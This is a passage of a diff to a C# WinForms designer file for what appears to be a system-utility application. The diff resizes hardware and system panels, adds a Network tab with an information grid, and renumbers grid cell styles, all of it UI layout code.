this.guna2GroupBox2.Font = new System.Drawing.Font("Segoe UI Semibold", 8F);
this.guna2GroupBox2.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));
- this.guna2GroupBox2.Location = new System.Drawing.Point(577, 40);
+ this.guna2GroupBox2.Location = new System.Drawing.Point(571, 40);
this.guna2GroupBox2.Name = "guna2GroupBox2";
this.guna2GroupBox2.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2);
- this.guna2GroupBox2.Size = new System.Drawing.Size(506, 386);
+ this.guna2GroupBox2.Size = new System.Drawing.Size(504, 338);
this.guna2GroupBox2.TabIndex = 9;
this.guna2GroupBox2.Text = "System";
//
@@ -2999,7 +3084,7 @@ private void InitializeComponent()
this.panel16.Location = new System.Drawing.Point(2, 42);
this.panel16.Name = "panel16";
this.panel16.Padding = new System.Windows.Forms.Padding(2, 2, 2, 0);
- this.panel16.Size = new System.Drawing.Size(502, 342);
+ this.panel16.Size = new System.Drawing.Size(500, 294);
this.panel16.TabIndex = 19;
//
// guna2VScrollBar11
@@ -3008,11 +3093,11 @@ private void InitializeComponent()
this.guna2VScrollBar11.FillColor = System.Drawing.Color.White;
this.guna2VScrollBar11.InUpdate = false;
this.guna2VScrollBar11.LargeChange = 10;
- this.guna2VScrollBar11.Location = new System.Drawing.Point(482, 2);
+ this.guna2VScrollBar11.Location = new System.Drawing.Point(480, 2);
this.guna2VScrollBar11.Minimum = 1;
this.guna2VScrollBar11.Name = "guna2VScrollBar11";
this.guna2VScrollBar11.ScrollbarSize = 18;
- this.guna2VScrollBar11.Size = new System.Drawing.Size(18, 340);
+ this.guna2VScrollBar11.Size = new System.Drawing.Size(18, 292);
this.guna2VScrollBar11.TabIndex = 22;
this.guna2VScrollBar11.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));
this.guna2VScrollBar11.Value = 1;
@@ -3056,7 +3141,7 @@ private void InitializeComponent()
this.systemInformationDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle45;
this.systemInformationDataGridView.RowTemplate.Height = 26;
this.systemInformationDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
- this.systemInformationDataGridView.Size = new System.Drawing.Size(498, 340);
+ this.systemInformationDataGridView.Size = new System.Drawing.Size(496, 292);
this.systemInformationDataGridView.TabIndex = 18;
this.systemInformationDataGridView.TabStop = false;
//
@@ -3078,33 +3163,6 @@ private void InitializeComponent()
this.Column41.Name = "Column41";
this.Column41.ReadOnly = true;
//
- // retrieveInformationGuna2Button
- //
- this.retrieveInformationGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left)
- | System.Windows.Forms.AnchorStyles.Right)));
- this.retrieveInformationGuna2Button.Animated = true;
- this.retrieveInformationGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;
- this.retrieveInformationGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;
- this.retrieveInformationGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));
- this.retrieveInformationGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));
- this.retrieveInformationGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));
- this.retrieveInformationGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F);
- this.retrieveInformationGuna2Button.ForeColor = System.Drawing.Color.White;
- this.retrieveInformationGuna2Button.Location = new System.Drawing.Point(4, 0);
- this.retrieveInformationGuna2Button.Name = "retrieveInformationGuna2Button";
- this.retrieveInformationGuna2Button.Size = new System.Drawing.Size(1076, 33);
- this.retrieveInformationGuna2Button.TabIndex = 35;
- this.retrieveInformationGuna2Button.Text = "Retrieve information";
- this.retrieveInformationGuna2Button.Click += new System.EventHandler(this.retrieveInformationGuna2Button_Click);
- //
- // panel11
- //
- this.panel11.Dock = System.Windows.Forms.DockStyle.Left;
- this.panel11.Location = new System.Drawing.Point(571, 40);
- this.panel11.Name = "panel11";
- this.panel11.Size = new System.Drawing.Size(6, 386);
- this.panel11.TabIndex = 10;
- //
// guna2GroupBox1
//
this.guna2GroupBox1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));
@@ -3118,7 +3176,7 @@ private void InitializeComponent()
this.guna2GroupBox1.Location = new System.Drawing.Point(0, 40);
this.guna2GroupBox1.Name = "guna2GroupBox1";
this.guna2GroupBox1.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2);
- this.guna2GroupBox1.Size = new System.Drawing.Size(571, 386);
+ this.guna2GroupBox1.Size = new System.Drawing.Size(571, 338);
this.guna2GroupBox1.TabIndex = 8;
this.guna2GroupBox1.Text = "Hardware";
//
@@ -3130,7 +3188,7 @@ private void InitializeComponent()
this.panel15.Location = new System.Drawing.Point(281, 42);
this.panel15.Name = "panel15";
this.panel15.Padding = new System.Windows.Forms.Padding(2, 2, 2, 0);
- this.panel15.Size = new System.Drawing.Size(288, 342);
+ this.panel15.Size = new System.Drawing.Size(288, 294);
this.panel15.TabIndex = 21;
//
// componentsDataGridView
@@ -3171,7 +3229,7 @@ private void InitializeComponent()
this.componentsDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle48;
this.componentsDataGridView.RowTemplate.Height = 26;
this.componentsDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
- this.componentsDataGridView.Size = new System.Drawing.Size(266, 340);
+ this.componentsDataGridView.Size = new System.Drawing.Size(266, 292);
this.componentsDataGridView.TabIndex = 19;
this.componentsDataGridView.TabStop = false;
//
@@ -3203,7 +3261,7 @@ private void InitializeComponent()
this.guna2VScrollBar10.Minimum = 1;
this.guna2VScrollBar10.Name = "guna2VScrollBar10";
this.guna2VScrollBar10.ScrollbarSize = 18;
- this.guna2VScrollBar10.Size = new System.Drawing.Size(18, 340);
+ this.guna2VScrollBar10.Size = new System.Drawing.Size(18, 292);
this.guna2VScrollBar10.TabIndex = 21;
this.guna2VScrollBar10.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));
this.guna2VScrollBar10.Value = 1;
@@ -3217,7 +3275,7 @@ private void InitializeComponent()
this.panel13.Location = new System.Drawing.Point(2, 42);
this.panel13.Name = "panel13";
this.panel13.Padding = new System.Windows.Forms.Padding(2);
- this.panel13.Size = new System.Drawing.Size(279, 342);
+ this.panel13.Size = new System.Drawing.Size(279, 294);
this.panel13.TabIndex = 20;
//
// cpuDataGridView
@@ -3258,7 +3316,7 @@ private void InitializeComponent()
this.cpuDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle51;
this.cpuDataGridView.RowTemplate.Height = 26;
this.cpuDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
- this.cpuDataGridView.Size = new System.Drawing.Size(252, 338);
+ this.cpuDataGridView.Size = new System.Drawing.Size(252, 290);
this.cpuDataGridView.TabIndex = 18;
this.cpuDataGridView.TabStop = false;
//
@@ -3290,7 +3348,7 @@ private void InitializeComponent()
this.guna2VScrollBar9.Minimum = 1;
this.guna2VScrollBar9.Name = "guna2VScrollBar9";
this.guna2VScrollBar9.ScrollbarSize = 18;
- this.guna2VScrollBar9.Size = new System.Drawing.Size(18, 338);
+ this.guna2VScrollBar9.Size = new System.Drawing.Size(18, 290);
this.guna2VScrollBar9.TabIndex = 20;
this.guna2VScrollBar9.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));
this.guna2VScrollBar9.Value = 1;
@@ -3300,9 +3358,102 @@ private void InitializeComponent()
this.panel14.Dock = System.Windows.Forms.DockStyle.Right;
this.panel14.Location = new System.Drawing.Point(272, 2);
this.panel14.Name = "panel14";
- this.panel14.Size = new System.Drawing.Size(5, 338);
+ this.panel14.Size = new System.Drawing.Size(5, 290);
this.panel14.TabIndex = 19;
//
+ // tabPage31
+ //
+ this.tabPage31.BackColor = System.Drawing.Color.White;
+ this.tabPage31.Controls.Add(this.guna2VScrollBar15);
+ this.tabPage31.Controls.Add(this.networkInformationDataGridView);
+ this.tabPage31.Controls.Add(this.retrieveNetworkGuna2Button);
+ this.tabPage31.Location = new System.Drawing.Point(4, 44);
+ this.tabPage31.Name = "tabPage31";
+ this.tabPage31.Padding = new System.Windows.Forms.Padding(0, 40, 0, 0);
+ this.tabPage31.Size = new System.Drawing.Size(1075, 378);
+ this.tabPage31.TabIndex = 1;
+ this.tabPage31.Text = "Network";
+ //
+ // guna2VScrollBar15
+ //
+ this.guna2VScrollBar15.Dock = System.Windows.Forms.DockStyle.Right;
+ this.guna2VScrollBar15.FillColor = System.Drawing.Color.White;
+ this.guna2VScrollBar15.InUpdate = false;
+ this.guna2VScrollBar15.LargeChange = 10;
+ this.guna2VScrollBar15.Location = new System.Drawing.Point(1057, 40);
+ this.guna2VScrollBar15.Minimum = 1;
+ this.guna2VScrollBar15.Name = "guna2VScrollBar15";
+ this.guna2VScrollBar15.ScrollbarSize = 18;
+ this.guna2VScrollBar15.Size = new System.Drawing.Size(18, 338);
+ this.guna2VScrollBar15.TabIndex = 38;
+ this.guna2VScrollBar15.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));
+ this.guna2VScrollBar15.Value = 1;
+ //
+ // networkInformationDataGridView
+ //
+ this.networkInformationDataGridView.AllowDrop = true;
+ this.networkInformationDataGridView.AllowUserToAddRows = false;
+ this.networkInformationDataGridView.AllowUserToDeleteRows = false;
+ this.networkInformationDataGridView.AllowUserToResizeColumns = false;
+ this.networkInformationDataGridView.AllowUserToResizeRows = false;
+ this.networkInformationDataGridView.BackgroundColor = System.Drawing.Color.White;
+ this.networkInformationDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;
+ this.networkInformationDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
+ this.networkInformationDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
+ dataGridViewCellStyle52.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
+ dataGridViewCellStyle52.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));
+ dataGridViewCellStyle52.Font = new System.Drawing.Font("Segoe UI Semibold", 8F);
+ dataGridViewCellStyle52.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));
+ dataGridViewCellStyle52.SelectionBackColor = System.Drawing.SystemColors.Highlight;
+ dataGridViewCellStyle52.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
+ dataGridViewCellStyle52.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
+ this.networkInformationDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle52;
+ this.networkInformationDataGridView.ColumnHeadersHeight = 36;
+ this.networkInformationDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {
+ this.Column48,
+ this.Column49,
+ this.Column50,
+ this.Column51,
+ this.Column52});
+ this.networkInformationDataGridView.ContextMenuStrip = this.nativePEContextMenuStrip;
+ this.networkInformationDataGridView.Dock = System.Windows.Forms.DockStyle.Fill;
+ this.networkInformationDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically;
+ this.networkInformationDataGridView.EnableHeadersVisualStyles = false;
+ this.networkInformationDataGridView.GridColor = System.Drawing.Color.White;
+ this.networkInformationDataGridView.Location = new System.Drawing.Point(0, 40);
+ this.networkInformationDataGridView.Name = "networkInformationDataGridView";
+ this.networkInformationDataGridView.ReadOnly = true;
+ this.networkInformationDataGridView.RowHeadersVisible = false;
+ dataGridViewCellStyle54.BackColor = System.Drawing.Color.White;
+ dataGridViewCellStyle54.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));
+ dataGridViewCellStyle54.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));
+ dataGridViewCellStyle54.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));
+ this.networkInformationDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle54;
+ this.networkInformationDataGridView.RowTemplate.Height = 26;
+ this.networkInformationDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
+ this.networkInformationDataGridView.Size = new System.Drawing.Size(1075, 338);
+ this.networkInformationDataGridView.TabIndex = 37;
+ this.networkInformationDataGridView.TabStop = false;
+ //
+ // retrieveNetworkGuna2Button
+ //
+ this.retrieveNetworkGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left)
+ | System.Windows.Forms.AnchorStyles.Right)));
+ this.retrieveNetworkGuna2Button.Animated = true;
+ this.retrieveNetworkGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray;
+ this.retrieveNetworkGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray;
+ this.retrieveNetworkGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169)))));
+ this.retrieveNetworkGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141)))));
+ this.retrieveNetworkGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));
+ this.retrieveNetworkGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F);
+ this.retrieveNetworkGuna2Button.ForeColor = System.Drawing.Color.White;
+ this.retrieveNetworkGuna2Button.Location = new System.Drawing.Point(3, 3);
+ this.retrieveNetworkGuna2Button.Name = "retrieveNetworkGuna2Button";
+ this.retrieveNetworkGuna2Button.Size = new System.Drawing.Size(1069, 33);
+ this.retrieveNetworkGuna2Button.TabIndex = 36;
+ this.retrieveNetworkGuna2Button.Text = "Retrieve information";
+ this.retrieveNetworkGuna2Button.Click += new System.EventHandler(this.retrieveNetworkGuna2Button_Click);
+ //
// tabPage18
//
this.tabPage18.Controls.Add(this.panel18);
@@ -3987,14 +4138,14 @@ private void InitializeComponent()
this.restorePointDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.restorePointDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
this.restorePointDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
- dataGridViewCellStyle52.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
- dataGridViewCellStyle52.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));
- dataGridViewCellStyle52.Font = new System.Drawing.Font("Segoe UI Semibold", 8F);
- dataGridViewCellStyle52.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));
- dataGridViewCellStyle52.SelectionBackColor = System.Drawing.SystemColors.Highlight;
- dataGridViewCellStyle52.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
- dataGridViewCellStyle52.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
- this.restorePointDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle52;
+ dataGridViewCellStyle55.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
+ dataGridViewCellStyle55.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));
+ dataGridViewCellStyle55.Font = new System.Drawing.Font("Segoe UI Semibold", 8F);
+ dataGridViewCellStyle55.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));
+ dataGridViewCellStyle55.SelectionBackColor = System.Drawing.SystemColors.Highlight;
+ dataGridViewCellStyle55.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
+ dataGridViewCellStyle55.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
+ this.restorePointDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle55;
this.restorePointDataGridView.ColumnHeadersHeight = 36;
this.restorePointDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {
this.Column42,
@@ -4010,11 +4161,11 @@ private void InitializeComponent()
this.restorePointDataGridView.Name = "restorePointDataGridView";
this.restorePointDataGridView.ReadOnly = true;
this.restorePointDataGridView.RowHeadersVisible = false;
- dataGridViewCellStyle55.BackColor = System.Drawing.Color.White;
- dataGridViewCellStyle55.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));
- dataGridViewCellStyle55.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));
- dataGridViewCellStyle55.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));
- this.restorePointDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle55;
+ dataGridViewCellStyle58.BackColor = System.Drawing.Color.White;
+ dataGridViewCellStyle58.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));
+ dataGridViewCellStyle58.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));
+ dataGridViewCellStyle58.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));
+ this.restorePointDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle58;
this.restorePointDataGridView.RowTemplate.Height = 26;
this.restorePointDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.restorePointDataGridView.Size = new System.Drawing.Size(1057, 379);
@@ -4024,8 +4175,8 @@ private void InitializeComponent()
// Column42
//
this.Column42.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
- dataGridViewCellStyle53.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));
- this.Column42.DefaultCellStyle = dataGridViewCellStyle53;
+ dataGridViewCellStyle56.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));
+ this.Column42.DefaultCellStyle = dataGridViewCellStyle56;
this.Column42.FillWeight = 25F;
this.Column42.HeaderText = "Number";
this.Column42.Name = "Column42";
@@ -4034,8 +4185,8 @@ private void InitializeComponent()
// Column43
//
this.Column43.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
- dataGridViewCellStyle54.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));
- this.Column43.DefaultCellStyle = dataGridViewCellStyle54;
+ dataGridViewCellStyle57.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));
+ this.Column43.DefaultCellStyle = dataGridViewCellStyle57;
this.Column43.FillWeight = 18F;
this.Column43.HeaderText = "Description";
this.Column43.Name = "Column43";
@@ -4163,14 +4314,14 @@ private void InitializeComponent()
this.pathRansomwareDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.pathRansomwareDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
this.pathRansomwareDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
- dataGridViewCellStyle56.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
- dataGridViewCellStyle56.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));
- dataGridViewCellStyle56.Font = new System.Drawing.Font("Segoe UI Semibold", 8F);
- dataGridViewCellStyle56.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));
- dataGridViewCellStyle56.SelectionBackColor = System.Drawing.SystemColors.Highlight;
- dataGridViewCellStyle56.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
- dataGridViewCellStyle56.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
- this.pathRansomwareDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle56;
+ dataGridViewCellStyle59.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
+ dataGridViewCellStyle59.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));
+ dataGridViewCellStyle59.Font = new System.Drawing.Font("Segoe UI Semibold", 8F);
+ dataGridViewCellStyle59.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));
+ dataGridViewCellStyle59.SelectionBackColor = System.Drawing.SystemColors.Highlight;
+ dataGridViewCellStyle59.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
+ dataGridViewCellStyle59.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
+ this.pathRansomwareDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle59;
this.pathRansomwareDataGridView.ColumnHeadersHeight = 36;
this.pathRansomwareDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {
this.Column46});
@@ -4183,11 +4334,11 @@ private void InitializeComponent()
this.pathRansomwareDataGridView.Name = "pathRansomwareDataGridView";
this.pathRansomwareDataGridView.ReadOnly = true;
this.pathRansomwareDataGridView.RowHeadersVisible = false;
- dataGridViewCellStyle58.BackColor = System.Drawing.Color.White;
- dataGridViewCellStyle58.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));
- dataGridViewCellStyle58.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));
- dataGridViewCellStyle58.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));
- this.pathRansomwareDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle58;
+ dataGridViewCellStyle61.BackColor = System.Drawing.Color.White;
+ dataGridViewCellStyle61.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));
+ dataGridViewCellStyle61.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));
+ dataGridViewCellStyle61.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));
+ this.pathRansomwareDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle61;
this.pathRansomwareDataGridView.RowTemplate.Height = 26;
this.pathRansomwareDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.pathRansomwareDataGridView.Size = new System.Drawing.Size(1059, 420);
@@ -4197,8 +4348,8 @@ private void InitializeComponent()
// Column46
//
this.Column46.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
- dataGridViewCellStyle57.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));
- this.Column46.DefaultCellStyle = dataGridViewCellStyle57;
+ dataGridViewCellStyle60.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));
+ this.Column46.DefaultCellStyle = dataGridViewCellStyle60;
this.Column46.FillWeight = 25F;
this.Column46.HeaderText = "Path";
this.Column46.Name = "Column46";
@@ -4342,14 +4493,14 @@ private void InitializeComponent()
this.extensionRansomwareDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.extensionRansomwareDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
this.extensionRansomwareDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
- dataGridViewCellStyle59.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
- dataGridViewCellStyle59.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));
- dataGridViewCellStyle59.Font = new System.Drawing.Font("Segoe UI Semibold", 8F);
- dataGridViewCellStyle59.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));
- dataGridViewCellStyle59.SelectionBackColor = System.Drawing.SystemColors.Highlight;
- dataGridViewCellStyle59.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
- dataGridViewCellStyle59.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
- this.extensionRansomwareDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle59;
+ dataGridViewCellStyle62.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
+ dataGridViewCellStyle62.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));
+ dataGridViewCellStyle62.Font = new System.Drawing.Font("Segoe UI Semibold", 8F);
+ dataGridViewCellStyle62.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));
+ dataGridViewCellStyle62.SelectionBackColor = System.Drawing.SystemColors.Highlight;
+ dataGridViewCellStyle62.SelectionForeColor = System.Drawing.SystemColors.HighlightText;
+ dataGridViewCellStyle62.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
+ this.extensionRansomwareDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle62;
this.extensionRansomwareDataGridView.ColumnHeadersHeight = 36;
this.extensionRansomwareDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] {
this.Column47});
@@ -4362,11 +4513,11 @@ private void InitializeComponent()
this.extensionRansomwareDataGridView.Name = "extensionRansomwareDataGridView";
this.extensionRansomwareDataGridView.ReadOnly = true;
this.extensionRansomwareDataGridView.RowHeadersVisible = false;
- dataGridViewCellStyle61.BackColor = System.Drawing.Color.White;
- dataGridViewCellStyle61.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));
- dataGridViewCellStyle61.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));
- dataGridViewCellStyle61.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));
- this.extensionRansomwareDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle61;
+ dataGridViewCellStyle64.BackColor = System.Drawing.Color.White;
+ dataGridViewCellStyle64.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125)))));
+ dataGridViewCellStyle64.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230)))));
+ dataGridViewCellStyle64.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150)))));
+ this.extensionRansomwareDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle64;
this.extensionRansomwareDataGridView.RowTemplate.Height = 26;
this.extensionRansomwareDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.extensionRansomwareDataGridView.Size = new System.Drawing.Size(242, 414);
@@ -4376,8 +4527,8 @@ private void InitializeComponent()
// Column47
//
this.Column47.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
- dataGridViewCellStyle60.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));
- this.Column47.DefaultCellStyle = dataGridViewCellStyle60;
+ dataGridViewCellStyle63.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));
+ this.Column47.DefaultCellStyle = dataGridViewCellStyle63;
this.Column47.FillWeight = 25F;
this.Column47.HeaderText = "Extension";
this.Column47.Name = "Column47";
@@ -4714,6 +4865,48 @@ private void InitializeComponent()
this.panel7.Size = new System.Drawing.Size(1279, 482);
this.panel7.TabIndex = 10;
//
+ // Column48
+ //
